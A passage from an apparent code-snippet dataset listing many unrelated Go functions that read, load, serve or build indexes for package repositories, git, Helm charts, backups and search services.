\"index.json\"))\n\tif err != nil {\n\t\tif errors.Is(err, driver.PathNotFoundError{}) {\n\t\t\tis.log.Error().Err(err).Str(\"dir\", dir).Msg(\"index.json doesn't exist\")\n\n\t\t\treturn []byte{}, zerr.ErrRepoNotFound\n\t\t}\n\n\t\tis.log.Error().Err(err).Str(\"dir\", dir).Msg(\"failed to read index.json\")\n\n\t\treturn []byte{}, err\n\t}\n\n\treturn buf, nil\n}", "func serveIndex(w http.ResponseWriter, r *http.Request, bs buildSpec, br *buildResult) {\n\txreq := request{bs, \"\", pageIndex}\n\txlink := xreq.link()\n\n\ttype versionLink struct {\n\t\tVersion string\n\t\tURLPath string\n\t\tSuccess bool\n\t\tActive bool\n\t}\n\ttype response struct {\n\t\tErr error\n\t\tLatestVersion string\n\t\tVersionLinks []versionLink\n\t}\n\n\t// Do a lookup to the goproxy in the background, to list the module versions.\n\tc := make(chan response, 1)\n\tgo func() {\n\t\tt0 := time.Now()\n\t\tdefer func() {\n\t\t\tmetricGoproxyListDuration.Observe(time.Since(t0).Seconds())\n\t\t}()\n\n\t\tmodPath, err := module.EscapePath(bs.Mod)\n\t\tif err != nil {\n\t\t\tc <- response{fmt.Errorf(\"bad module path: %v\", err), \"\", nil}\n\t\t\treturn\n\t\t}\n\t\tu := fmt.Sprintf(\"%s%s/@v/list\", config.GoProxy, modPath)\n\t\tmreq, err := http.NewRequestWithContext(r.Context(), \"GET\", u, nil)\n\t\tif err != nil {\n\t\t\tc <- response{fmt.Errorf(\"%w: preparing new http request: %v\", errServer, err), \"\", nil}\n\t\t\treturn\n\t\t}\n\t\tmreq.Header.Set(\"User-Agent\", userAgent)\n\t\tresp, err := http.DefaultClient.Do(mreq)\n\t\tif err != nil {\n\t\t\tc <- response{fmt.Errorf(\"%w: http request: %v\", errServer, err), \"\", nil}\n\t\t\treturn\n\t\t}\n\t\tdefer resp.Body.Close()\n\t\tif resp.StatusCode != 200 {\n\t\t\tmetricGoproxyListErrors.WithLabelValues(fmt.Sprintf(\"%d\", resp.StatusCode)).Inc()\n\t\t\tc <- response{fmt.Errorf(\"%w: http response from goproxy: %v\", errRemote, resp.Status), \"\", nil}\n\t\t\treturn\n\t\t}\n\t\tbuf, err := io.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\tc <- response{fmt.Errorf(\"%w: reading versions from goproxy: %v\", errRemote, err), \"\", nil}\n\t\t\treturn\n\t\t}\n\t\tl := []versionLink{}\n\t\tfor _, s := range strings.Split(string(buf), \"\\n\") {\n\t\t\tif s != \"\" {\n\t\t\t\tvbs := bs\n\t\t\t\tvbs.Version = s\n\t\t\t\tsuccess := fileExists(filepath.Join(vbs.storeDir(), \"recordnumber\"))\n\t\t\t\tp := request{vbs, \"\", pageIndex}.link()\n\t\t\t\tlink := versionLink{s, p, success, p == xlink}\n\t\t\t\tl = append(l, link)\n\t\t\t}\n\t\t}\n\t\tsort.Slice(l, func(i, j int) bool {\n\t\t\treturn semver.Compare(l[i].Version, l[j].Version) > 0\n\t\t})\n\t\tvar latestVersion string\n\t\tif len(l) > 0 {\n\t\t\tlatestVersion = l[0].Version\n\t\t}\n\t\tc <- response{nil, latestVersion, l}\n\t}()\n\n\t// Non-emptiness means we'll serve the error page instead of doing a SSE request for events.\n\tvar output string\n\tif br == nil {\n\t\tif buf, err := readGzipFile(filepath.Join(bs.storeDir(), \"log.gz\")); err != nil {\n\t\t\tif !os.IsNotExist(err) {\n\t\t\t\tfailf(w, \"%w: reading log.gz: %v\", errServer, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// For not-exist, we'll continue below to build.\n\t\t} else {\n\t\t\toutput = string(buf)\n\t\t}\n\t}\n\n\t// Construct links to other goversions, targets.\n\ttype goversionLink struct {\n\t\tGoversion string\n\t\tURLPath string\n\t\tSuccess bool\n\t\tSupported bool\n\t\tActive bool\n\t}\n\tgoversionLinks := []goversionLink{}\n\tnewestAllowed, supported, remaining := installedSDK()\n\tfor _, goversion := range supported {\n\t\tgvbs := bs\n\t\tgvbs.Goversion = goversion\n\t\tsuccess := fileExists(filepath.Join(gvbs.storeDir(), \"recordnumber\"))\n\t\tp := request{gvbs, \"\", pageIndex}.link()\n\t\tgoversionLinks = append(goversionLinks, goversionLink{goversion, p, success, true, p == xlink})\n\t}\n\tfor _, goversion := range remaining {\n\t\tgvbs := bs\n\t\tgvbs.Goversion = goversion\n\t\tsuccess := fileExists(filepath.Join(gvbs.storeDir(), \"recordnumber\"))\n\t\tp := request{gvbs, \"\", pageIndex}.link()\n\t\tgoversionLinks = append(goversionLinks, goversionLink{goversion, p, success, false, p == xlink})\n\t}\n\n\ttype targetLink struct {\n\t\tGoos string\n\t\tGoarch string\n\t\tURLPath string\n\t\tSuccess bool\n\t\tActive bool\n\t}\n\ttargetLinks := []targetLink{}\n\tfor _, target := range targets.get() {\n\t\ttbs := bs\n\t\ttbs.Goos = target.Goos\n\t\ttbs.Goarch = target.Goarch\n\t\tsuccess := fileExists(filepath.Join(tbs.storeDir(), \"recordnumber\"))\n\t\tp := request{tbs, \"\", pageIndex}.link()\n\t\ttargetLinks = append(targetLinks, targetLink{target.Goos, target.Goarch, p, success, p == xlink})\n\t}\n\n\ttype variantLink struct {\n\t\tVariant string // \"default\" or \"stripped\"\n\t\tTitle string // Displayed on hover in UI.\n\t\tURLPath string\n\t\tSuccess bool\n\t\tActive bool\n\t}\n\tvar variantLinks []variantLink\n\taddVariant := func(v, title string, stripped bool) {\n\t\tvbs := bs\n\t\tvbs.Stripped = stripped\n\t\tsuccess := fileExists(filepath.Join(vbs.storeDir(), \"recordnumber\"))\n\t\tp := request{vbs, \"\", pageIndex}.link()\n\t\tvariantLinks = append(variantLinks, variantLink{v, title, p, success, p == xlink})\n\t}\n\taddVariant(\"default\", \"\", false)\n\taddVariant(\"stripped\", \"Symbol table and debug information stripped, reducing binary size.\", true)\n\n\tpkgGoDevURL := \"https://pkg.go.dev/\" + path.Join(bs.Mod+\"@\"+bs.Version, bs.Dir[1:]) + \"?tab=doc\"\n\n\tresp := <-c\n\n\tvar filesizeGz string\n\tif br == nil {\n\t\tbr = &buildResult{buildSpec: bs}\n\t} else {\n\t\tif info, err := os.Stat(filepath.Join(bs.storeDir(), \"binary.gz\")); err == nil {\n\t\t\tfilesizeGz = fmt.Sprintf(\"%.1f MB\", float64(info.Size())/(1024*1024))\n\t\t}\n\t}\n\n\tprependDir := xreq.Dir\n\tif prependDir == \"/\" {\n\t\tprependDir = \"\"\n\t}\n\n\tvar newerText, newerURL string\n\tif xreq.Goversion != newestAllowed && newestAllowed != \"\" && xreq.Version != resp.LatestVersion && resp.LatestVersion != \"\" {\n\t\tnewerText = \"A newer version of both this module and the Go toolchain is available\"\n\t} else if xreq.Version != resp.LatestVersion && resp.LatestVersion != \"\" {\n\t\tnewerText = \"A newer version of this module is available\"\n\t} else if xreq.Goversion != newestAllowed && newestAllowed != \"\" {\n\t\tnewerText = \"A newer Go toolchain version is available\"\n\t}\n\tif newerText != \"\" {\n\t\tnbs := bs\n\t\tnbs.Version = resp.LatestVersion\n\t\tnbs.Goversion = newestAllowed\n\t\tnewerURL = request{nbs, \"\", pageIndex}.link()\n\t}\n\n\tfavicon := \"/favicon.ico\"\n\tif output != \"\" {\n\t\tfavicon = \"/favicon-error.png\"\n\t} else if br.Sum == \"\" {\n\t\tfavicon = \"/favicon-building.png\"\n\t}\n\targs := map[string]interface{}{\n\t\t\"Favicon\": favicon,\n\t\t\"Success\": br.Sum != \"\",\n\t\t\"Sum\": br.Sum,\n\t\t\"Req\": xreq, // eg \"/\" or \"/cmd/x\"\n\t\t\"DirAppend\": xreq.appendDir(), // eg \"\" or \"cmd/x/\"\n\t\t\"DirPrepend\": prependDir, // eg \"\" or /cmd/x\"\n\t\t\"GoversionLinks\": goversionLinks,\n\t\t\"TargetLinks\": targetLinks,\n\t\t\"VariantLinks\": variantLinks,\n\t\t\"Mod\": resp,\n\t\t\"GoProxy\": config.GoProxy,\n\t\t\"DownloadFilename\": xreq.downloadFilename(),\n\t\t\"PkgGoDevURL\": pkgGoDevURL,\n\t\t\"GobuildVersion\": gobuildVersion,\n\t\t\"GobuildPlatform\": gobuildPlatform,\n\t\t\"VerifierKey\": config.VerifierKey,\n\t\t\"GobuildsOrgVerifierKey\": gobuildsOrgVerifierKey,\n\t\t\"NewerText\": newerText,\n\t\t\"NewerURL\": newerURL,\n\n\t\t// Whether we will do SSE request for updates.\n\t\t\"InProgress\": br.Sum == \"\" && output == \"\",\n\n\t\t// Non-empty on failure.\n\t\t\"Output\": output,\n\n\t\t// Below only meaningful when \"success\".\n\t\t\"Filesize\": fmt.Sprintf(\"%.1f MB\", float64(br.Filesize)/(1024*1024)),\n\t\t\"FilesizeGz\": filesizeGz,\n\t}\n\n\tif br.Sum == \"\" {\n\t\tw.Header().Set(\"Cache-Control\", \"no-store\")\n\t}\n\n\tif err := buildTemplate.Execute(w, args); err != nil {\n\t\tfailf(w, \"%w: executing template: %v\", errServer, err)\n\t}\n}", "func (s *Sync) fetchLocalIdx() (*index.Index, error) {\n\treturn index.NewIndexFiles(filepath.Join(s.opts.WorkDir, \"data\"))\n}", "func (h *HTTPGetter) IndexReader() (io.ReadCloser, error) {\n\tsavePath := path.Join(h.dst, \"index\")\n\tif err := h.underlying.GetFile(savePath, h.idxURL); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn os.Open(savePath)\n}", "func (c *rawConnection) Index(repo string, idx []FileInfo) {\n\tc.imut.Lock()\n\tvar msgType int\n\tif c.indexSent[repo] == nil {\n\t\t// This is the first time we send an index.\n\t\tmsgType = messageTypeIndex\n\n\t\tc.indexSent[repo] = make(map[string][2]int64)\n\t\tfor _, f := range idx {\n\t\t\tc.indexSent[repo][f.Name] = [2]int64{f.Modified, int64(f.Version)}\n\t\t}\n\t} else {\n\t\t// We have sent one full index. Only send updates now.\n\t\tmsgType = messageTypeIndexUpdate\n\t\tvar diff []FileInfo\n\t\tfor _, f := range idx {\n\t\t\tif vs, ok := c.indexSent[repo][f.Name]; !ok || f.Modified != vs[0] || int64(f.Version) != vs[1] {\n\t\t\t\tdiff = append(diff, f)\n\t\t\t\tc.indexSent[repo][f.Name] = [2]int64{f.Modified, int64(f.Version)}\n\t\t\t}\n\t\t}\n\t\tidx = diff\n\t}\n\tc.imut.Unlock()\n\n\tc.send(header{0, -1, msgType}, IndexMessage{repo, idx})\n}", "func main() {\n\turls := cnvd.IndexFromUrl(33, 20, 20)\n\tfor _, i := range urls {\n\t\tJson := cnvd.DataFromIndexUrl(i)\n\t\tfmt.Println(Json)\n\t}\n}", "func GetIndex(ctx context.Context) (string, error) {\n\tclient := urlfetch.Client(ctx)\n\n\tresp, err := client.Get(\"http://jsonplaceholder.typicode.com/posts\")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(body), nil\n}", "func (r *Repo) indexFile() (*repo.IndexFile, error) {\n\tlog := logger()\n\tlog.Debugf(\"load index file \\\"%s\\\"\", r.indexFileURL)\n\n\t// retrieve index file generation\n\to, err := gcs.Object(r.gcs, r.indexFileURL)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"object\")\n\t}\n\tattrs, err := o.Attrs(context.Background())\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"attrs\")\n\t}\n\tr.indexFileGeneration = attrs.Generation\n\tlog.Debugf(\"index file generation: %d\", r.indexFileGeneration)\n\n\t// get file\n\treader, err := o.NewReader(context.Background())\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"reader\")\n\t}\n\tb, err := ioutil.ReadAll(reader)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"read\")\n\t}\n\tdefer reader.Close()\n\n\ti := &repo.IndexFile{}\n\tif err := yaml.Unmarshal(b, i); err != nil {\n\t\treturn nil, errors.Wrap(err, \"unmarshal\")\n\t}\n\ti.SortEntries()\n\treturn i, nil\n}", "func ReadIndex(output http.ResponseWriter, reader *http.Request) {\n\tfmt.Fprintln(output, \"ImageManagerAPI v1.0\")\n\tLog(\"info\", \"Endpoint Hit: ReadIndex\")\n}", "func repoList(w http.ResponseWriter, r *http.Request) {}", "func (i ImageIndexer) ExportFromIndex(request ExportFromIndexRequest) error {\n\t// set a temp directory\n\tworkingDir, err := ioutil.TempDir(\"./\", tmpDirPrefix)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.RemoveAll(workingDir)\n\n\t// extract the index database to the file\n\tdatabaseFile, err := i.getDatabaseFile(workingDir, request.Index, request.CaFile, request.SkipTLSVerify, request.PlainHTTP)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdb, err := sqlite.Open(databaseFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer db.Close()\n\n\tdbQuerier := sqlite.NewSQLLiteQuerierFromDb(db)\n\n\t// fetch all packages from the index image if packages is empty\n\tif len(request.Packages) == 0 {\n\t\trequest.Packages, err = dbQuerier.ListPackages(context.TODO())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tbundles, err := getBundlesToExport(dbQuerier, request.Packages)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ti.Logger.Infof(\"Preparing to pull bundles %+q\", bundles)\n\n\t// Creating downloadPath dir\n\tif err := os.MkdirAll(request.DownloadPath, 0777); err != nil {\n\t\treturn err\n\t}\n\n\tvar errs []error\n\tvar wg sync.WaitGroup\n\twg.Add(len(bundles))\n\tvar mu = &sync.Mutex{}\n\n\tsem := make(chan struct{}, concurrencyLimitForExport)\n\n\tfor bundleImage, bundleDir := range bundles {\n\t\tgo func(bundleImage string, bundleDir bundleDirPrefix) {\n\t\t\tdefer wg.Done()\n\n\t\t\tsem <- struct{}{}\n\t\t\tdefer func() {\n\t\t\t\t<-sem\n\t\t\t}()\n\n\t\t\t// generate a random folder name if bundle version is empty\n\t\t\tif bundleDir.bundleVersion == \"\" {\n\t\t\t\tbundleDir.bundleVersion = strconv.Itoa(rand.Intn(10000))\n\t\t\t}\n\t\t\texporter := bundle.NewExporterForBundle(bundleImage, filepath.Join(request.DownloadPath, bundleDir.pkgName, bundleDir.bundleVersion), request.ContainerTool)\n\t\t\tif err := exporter.Export(request.SkipTLSVerify, request.PlainHTTP); err != nil {\n\t\t\t\terr = fmt.Errorf(\"exporting bundle image:%s failed with %s\", bundleImage, err)\n\t\t\t\tmu.Lock()\n\t\t\t\terrs = append(errs, err)\n\t\t\t\tmu.Unlock()\n\t\t\t}\n\t\t}(bundleImage, bundleDir)\n\t}\n\t// Wait for all the go routines to finish export\n\twg.Wait()\n\n\tif errs != nil {\n\t\treturn utilerrors.NewAggregate(errs)\n\t}\n\n\tfor _, packageName := range request.Packages {\n\t\terr := generatePackageYaml(dbQuerier, packageName, filepath.Join(request.DownloadPath, packageName))\n\t\tif err != nil {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t}\n\treturn utilerrors.NewAggregate(errs)\n}", "func (s *Sync) loadIdx(name string, fetchIdx idxFunc) (*index.Index, error) {\n\tpath := filepath.Join(s.opts.WorkDir, name)\n\tf, err := os.Open(path)\n\tif os.IsNotExist(err) {\n\t\tidx, err := fetchIdx()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn idx, index.SaveIndex(idx, path)\n\t} else if err != nil {\n\t\treturn nil, err\n\t}\n\tdefer f.Close()\n\n\tidx := index.NewIndex()\n\treturn idx, json.NewDecoder(f).Decode(idx)\n}", "func (c *Client) IndexRepo(id string) error {\n\turi := c.formURI(\"/api/v1/index/repo/\" + id)\n\treturn c.getBasicResponse(uri, &Response{})\n}", "func loadIndex(ctx context.Context, repo restic.Repository, id restic.ID) (*index.Index, error) {\n\tbuf, err := repo.LoadUnpacked(ctx, restic.IndexFile, id)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tidx, oldFormat, err := index.DecodeIndex(buf, id)\n\tif oldFormat {\n\t\tfmt.Fprintf(os.Stderr, \"index %v has old format\\n\", id.Str())\n\t}\n\treturn idx, err\n}", "func zoektIndexedCommit(ctx context.Context, client zoekt.Streamer, repo api.RepoName) (api.CommitID, bool, error) {\n\t// TODO check we are using the most efficient way to List. I tested with\n\t// NewSingleBranchesRepos and it went through a slow path.\n\tq := zoektquery.NewRepoSet(string(repo))\n\n\tresp, err := client.List(ctx, q, &zoekt.ListOptions{Minimal: true})\n\tif err != nil {\n\t\treturn \"\", false, err\n\t}\n\n\tfor _, v := range resp.Minimal {\n\t\treturn api.CommitID(v.Branches[0].Version), true, nil\n\t}\n\n\treturn \"\", false, nil\n}", "func readDiscoIndex() (indexData []byte, err error) {\n\tfmt.Printf(\"Fetching Discovery doc index from %v ...\\n\", discoURL)\n\tclient := &http.Client{}\n\trequest, err := http.NewRequest(\"GET\", discoURL, nil)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"Error forming request for Discovery doc index: %v\", err)\n\t\treturn\n\t}\n\t// Use extra-Google IP header (RFC 5737 TEST-NET) to limit index results to public APIs\n\trequest.Header.Add(\"X-User-IP\", \"192.0.2.0\")\n\tresponse, err := client.Do(request)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"Error fetching Discovery doc index: %v\", err)\n\t\treturn\n\t}\n\tdefer response.Body.Close()\n\tindexData, err = ioutil.ReadAll(response.Body)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"Error reading Discovery doc index: %v\", err)\n\t\treturn\n\t}\n\treturn\n}", "func loadIndexFromPath(path string) (*LocalRegistry, error) {\n\trepos := new(LocalRegistry)\n\trepoBytes, err := ioutil.ReadFile(filepath.Join(path, \"repository.json\"))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot read repository index in tar archive: %s\", err)\n\t}\n\terr = json.Unmarshal(repoBytes, repos)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"cannot unmarshal repository index in tar archive: %s\", err)\n\t}\n\treturn repos, nil\n}", "func GetFileWithIndex(n *net_node.Node, filename string, local_filepath string, serverIndex int) {\n\t// Open a TCP connection\n\tremote_addr := net_node.ConvertToAddr(n.Table[serverIndex].Address)\n\tremote_tcp_addr := net_node.ConvertUDPToTCP(*remote_addr)\n\tconn, err := net.DialTCP(\"tcp\", nil, remote_tcp_addr)\n\tnet_node.CheckError(err)\n\tdefer conn.Close()\n\n\t// Now, send over the file metadata\n\tindex_str := fmt.Sprintf(\"%32d\", n.Index)\n\tfile_path_str := fmt.Sprintf(\"%100s\", filename)\n\tfilename_str := fmt.Sprintf(\"%100s\", local_filepath)\n\tfirst_line := []byte(\"G_\" + index_str + file_path_str + filename_str)\n\tconn.Write(first_line)\n}", "func loadIndex(data []byte) (*repo.IndexFile, error) {\n\ti := &repo.IndexFile{}\n\tif err := yaml.Unmarshal(data, i); err != nil {\n\t\tklog.Error(err, \"Unmarshal failed. Data: \", data)\n\t\treturn i, err\n\t}\n\n\ti.SortEntries()\n\n\tif i.APIVersion == \"\" {\n\t\treturn i, repo.ErrNoAPIVersion\n\t}\n\n\treturn i, nil\n}", "func (i indexer) Index(ctx context.Context, req IndexQuery) (\n\tresp *IndexResult, err error) {\n\n\tlog.Info(\"index [%v] root [%v] len_dirs=%v len_files=%v\",\n\t\treq.Key, req.Root, len(req.Dirs), len(req.Files))\n\tstart := time.Now()\n\t// Setup the response\n\tresp = NewIndexResult()\n\tif err = req.Normalize(); err != nil {\n\t\tlog.Info(\"index [%v] error: %v\", req.Key, err)\n\t\tresp.Error = errs.NewStructError(err)\n\t\treturn\n\t}\n\n\t// create index shards\n\tvar nshards int\n\tif nshards = i.cfg.NumShards; nshards == 0 {\n\t\tnshards = 1\n\t}\n\tnshards = utils.MinInt(nshards, maxShards)\n\ti.shards = make([]index.IndexWriter, nshards)\n\ti.root = getRoot(i.cfg, &req)\n\n\tfor n := range i.shards {\n\t\tname := path.Join(i.root, shardName(req.Key, n))\n\t\tixw, err := getIndexWriter(ctx, name)\n\t\tif err != nil {\n\t\t\tresp.Error = errs.NewStructError(err)\n\t\t\treturn resp, nil\n\t\t}\n\t\ti.shards[n] = ixw\n\t}\n\n\tfs := getFileSystem(ctx, i.root)\n\trepo := newRepoFromQuery(&req, i.root)\n\trepo.SetMeta(i.cfg.RepoMeta, req.Meta)\n\tresp.Repo = repo\n\n\t// Add query Files and scan Dirs for files to index\n\tnames, err := i.scanner(fs, &req)\n\tch := make(chan int, nshards)\n\tchnames := make(chan string, 100)\n\tgo func() {\n\t\tfor _, name := range names {\n\t\t\tchnames <- name\n\t\t}\n\t\tclose(chnames)\n\t}()\n\treqch := make(chan par.RequestFunc, nshards)\n\tfor _, shard := range i.shards {\n\t\treqch <- indexShard(&i, &req, shard, fs, chnames, ch)\n\t}\n\tclose(reqch)\n\terr = par.Requests(reqch).WithConcurrency(nshards).DoWithContext(ctx)\n\tclose(ch)\n\n\t// Await results, each indicating the number of files scanned\n\tfor num := range ch {\n\t\trepo.NumFiles += num\n\t}\n\n\trepo.NumShards = len(i.shards)\n\t// Flush our index shard files\n\tfor _, shard := range i.shards {\n\t\tshard.Flush()\n\t\trepo.SizeIndex += ByteSize(shard.IndexBytes())\n\t\trepo.SizeData += ByteSize(shard.DataBytes())\n\t\tlog.Debug(\"index flush %v (data) %v (index)\",\n\t\t\trepo.SizeData, repo.SizeIndex)\n\t}\n\trepo.ElapsedIndexing = time.Since(start)\n\trepo.TimeUpdated = time.Now().UTC()\n\n\tvar msg string\n\tif err != nil {\n\t\trepo.State = ERROR\n\t\tresp.SetError(err)\n\t\tmsg = \"error: \" + resp.Error.Error()\n\t} else {\n\t\trepo.State = OK\n\t\tmsg = \"ok \" + fmt.Sprintf(\n\t\t\t\"(%v files, %v data, %v index)\",\n\t\t\trepo.NumFiles, repo.SizeData, repo.SizeIndex)\n\t}\n\tlog.Info(\"index [%v] %v [%v]\", req.Key, msg, repo.ElapsedIndexing)\n\treturn\n}", "func (client *RPCClient) getLocalIndex() map[string]FileMetaData {\n\tlocalIndex := map[string]FileMetaData{}\n\tpath := client.BaseDir + \"/\" + INDEX_FILE\n\n\tif fileExists(client.BaseDir + \"/\" + INDEX_FILE) {\n\t\tcontent, err := ioutil.ReadFile(path)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tlines := bytes.Split(content, []byte(\"\\n\"))\n\t\tfor _, line := range lines {\n\t\t\tif len(line) < 2 {\n\t\t\t\tcontinue //ignore \"\" and \" \" lines\n\t\t\t}\n\t\t\tpLine := bytes.Split(line, []byte(\",\"))\n\t\t\tfname := string(pLine[0])\n\t\t\tv, _ := strconv.Atoi(string(pLine[1]))\n\t\t\thList := strings.Split(string(pLine[2]), \" \")\n\t\t\tmetaData := FileMetaData{Filename: fname, Version: v, BlockHashList: hList}\n\t\t\tlocalIndex[fname] = metaData\n\t\t}\n\t} else { // if file doesn't exist, create it\n\t\tf, err := os.Create(path)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tf.Close()\n\t}\n\n\treturn localIndex\n}", "func loadIndex(data []byte) (*repo.IndexFile, error) {\n\ti := &repo.IndexFile{}\n\tif err := yaml.Unmarshal(data, i); err != nil {\n\t\treturn i, err\n\t}\n\n\ti.SortEntries()\n\tif i.APIVersion == \"\" {\n\t\treturn i, repo.ErrNoAPIVersion\n\t}\n\treturn i, nil\n}", "func refreshIndex(c *Client) error {\n\tidx, err := c.GitDir.ReadIndex()\n\tif err != nil {\n\t\treturn err\n\t}\n\tnidx, err := UpdateIndex(c, idx, UpdateIndexOptions{Refresh: true}, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tf, err := c.GitDir.Create(\"index\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := nidx.WriteIndex(f); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func loadIndex(data []byte) (*repo.IndexFile, error) {\n\ti := &repo.IndexFile{}\n\tif err := yaml.Unmarshal(data, i); err != nil {\n\t\treturn i, err\n\t}\n\n\ti.SortEntries()\n\n\tif i.APIVersion == \"\" {\n\t\treturn i, repo.ErrNoAPIVersion\n\t}\n\n\treturn i, nil\n}", "func getFilesFromIndex(p string, r io.Reader) ([]*FileInfo, Paragraph, error) {\n\treturn getFilesFromRelease(p, r)\n}", "func (api *MediaApi) index(c *routing.Context) error {\n\t// --- fetch search data\n\tsearchFields := []string{\"title\", \"type\", \"path\", \"created\", \"modified\"}\n\tsearchData := utils.GetSearchConditions(c, searchFields)\n\t// ---\n\n\t// --- fetch sort data\n\tsortFields := []string{\"title\", \"type\", \"path\", \"created\", \"modified\"}\n\tsortData := utils.GetSortFields(c, sortFields)\n\t// ---\n\n\ttotal, _ := api.dao.Count(searchData)\n\n\tlimit, page := utils.GetPaginationSettings(c, total)\n\n\tutils.SetPaginationHeaders(c, limit, total, page)\n\n\titems := []models.Media{}\n\n\tif total > 0 {\n\t\titems, _ = api.dao.GetList(limit, limit*(page-1), searchData, sortData)\n\n\t\titems = daos.ToAbsMediaPaths(items)\n\t}\n\n\treturn c.Write(items)\n}", "func getItems(repoIndex *index.Index, url string) []FileInfo {\n\tvar items []FileInfo\n\n\tfor _, os := range repoIndex.Data.Keys() {\n\t\tfor _, arch := range repoIndex.Data[os].Keys() {\n\t\t\tfor _, category := range repoIndex.Data[os][arch].Keys() {\n\t\t\t\tfor _, version := range repoIndex.Data[os][arch][category] {\n\t\t\t\t\titems = append(items, FileInfo{\n\t\t\t\t\t\tFile: version.File,\n\t\t\t\t\t\tURL: url + \"/\" + version.Path + \"/\" + version.File,\n\t\t\t\t\t\tOS: os,\n\t\t\t\t\t\tArch: arch,\n\t\t\t\t\t\tSize: version.Size,\n\t\t\t\t\t})\n\n\t\t\t\t\tif len(version.Variations) != 0 {\n\t\t\t\t\t\tfor _, subVersion := range version.Variations {\n\t\t\t\t\t\t\titems = append(items, FileInfo{\n\t\t\t\t\t\t\t\tFile: subVersion.File,\n\t\t\t\t\t\t\t\tURL: url + \"/\" + subVersion.Path + \"/\" + subVersion.File,\n\t\t\t\t\t\t\t\tOS: os,\n\t\t\t\t\t\t\t\tArch: arch,\n\t\t\t\t\t\t\t\tSize: subVersion.Size,\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn items\n}", "func openPackIndex(readerAt io.ReaderAt) (packIndex, error) {\n\th, err := readHeader(readerAt)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"invalid header\")\n\t}\n\treturn &index{hdr: h, readerAt: readerAt}, nil\n}", "func findChartInRepoIndex(repoIndex *repo.IndexFile, repoURL, chartName, chartVersion string) (string, error) {\n\terrMsg := fmt.Sprintf(\"chart %q\", chartName)\n\tif chartVersion != \"\" {\n\t\terrMsg = fmt.Sprintf(\"%s version %q\", errMsg, chartVersion)\n\t}\n\tcv, err := repoIndex.Get(chartName, chartVersion)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"%s not found in repository\", errMsg)\n\t}\n\tif len(cv.URLs) == 0 {\n\t\treturn \"\", fmt.Errorf(\"%s has no downloadable URLs\", errMsg)\n\t}\n\treturn resolveChartURL(repoURL, cv.URLs[0])\n}", "func loadIndex(r io.Reader) (*IndexFile, error) {\n\ti := &IndexFile{}\n\tif err := json.NewDecoder(r).Decode(i); err != nil {\n\t\treturn i, err\n\t}\n\ti.SortEntries()\n\treturn i, nil\n}", "func (builder *OnDiskBuilder) GetIndex() requestableIndexes.RequestableIndex {\n\treturn requestableIndexes.OnDiskIndexFromFolder(\"./saved/\")\n}", "func (s *storageMgr) handleGetIndexSnapshot(cmd Message) {\n\ts.supvCmdch <- &MsgSuccess{}\n\tinstId := cmd.(*MsgIndexSnapRequest).GetIndexId()\n\tindex := uint64(instId) % uint64(len(s.snapshotReqCh))\n\ts.snapshotReqCh[int(index)] <- cmd\n}", "func index(w http.ResponseWriter, req *http.Request, ctx httputil.Context) (e *httputil.Error) {\n\tif req.URL.Path != \"/\" {\n\t\tnotFound(w, req)\n\t\treturn\n\t}\n\tm := newManager(ctx)\n\n\tres, err := m.Index()\n\tif err != nil {\n\t\te = httputil.Errorf(err, \"couldn't query for test results\")\n\t\treturn\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"text/html\")\n\tif err := T(\"index/index.html\").Execute(w, res); err != nil {\n\t\te = httputil.Errorf(err, \"error executing index template\")\n\t}\n\treturn\n}", "func (h *HTTPApi) listIndex(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n\tcollections := h.storageNode.Datasources[ps.ByName(\"datasource\")].GetMeta().Databases[ps.ByName(\"dbname\")].ShardInstances[ps.ByName(\"shardinstance\")].Collections[ps.ByName(\"collectionname\")]\n\n\t// Now we need to return the results\n\tif bytes, err := json.Marshal(collections.Indexes); err != nil {\n\t\t// TODO: log this better?\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\treturn\n\t} else {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.Write(bytes)\n\t}\n}", "func (p *LocalRepository) GetIndexFile() (io.Reader, func(), error) {\n\tfName := fmt.Sprintf(\"%s/%s\", p.path, \"index.yaml\")\n\tf, err := os.Open(fName)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\treturn f, func() { f.Close() }, nil\n}", "func (fs *FollowService) Index(opts ...Option) ([]*Follow, error) {\n\tvar f []*Follow\n\n\terr := fs.client.get(fs.end, &f, opts...)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"cannot get index of Follows\")\n\t}\n\n\treturn f, nil\n}", "func SearchGitHub(query string, options SearchOptions, client 